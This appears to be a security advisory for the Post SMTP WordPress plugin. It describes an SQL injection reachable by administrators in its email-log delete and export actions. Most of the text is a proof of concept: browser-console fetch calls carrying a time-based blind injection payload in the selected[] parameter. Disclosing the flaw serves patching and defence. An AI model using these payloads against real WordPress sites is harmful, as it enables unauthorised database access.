Description The plugin does not properly sanitise and escape several parameters before using them in SQL statements, leading to a SQL injection exploitable by high privilege users such as admin.

PoC

In ps-delete-email-logs action: Visit the Post SMTP > Email Log page and run the following code in the browser console: nonce = document.getElementById(‘ps-email-log-nonce’).value await fetch(“/wp-admin/admin-ajax.php”, { “credentials”: “include”, “headers”: { “Content-Type”: “application/x-www-form-urlencoded”, “Sec-Fetch-Site”: “same-origin” }, “body”: “action=ps-delete-email-logs&security;=” + nonce + “&selected;%5B%5D=1)%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))a)#”, “method”: “POST”, “mode”: “cors” }); # In ps-export-email-logs action: Visit the Post SMTP > Email Log page and run the following code in the browser console: nonce = document.getElementById(‘ps-email-log-nonce’).value await fetch(“/wp-admin/admin-ajax.php”, { “credentials”: “include”, “headers”: { “Content-Type”: “application/x-www-form-urlencoded”, “Sec-Fetch-Site”: “same-origin” }, “body”: “action=ps-export-email-logs&security;=” + nonce + “&selected;%5B%5D=1)%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))a)#”, “method”: “POST”, “mode”: “cors” });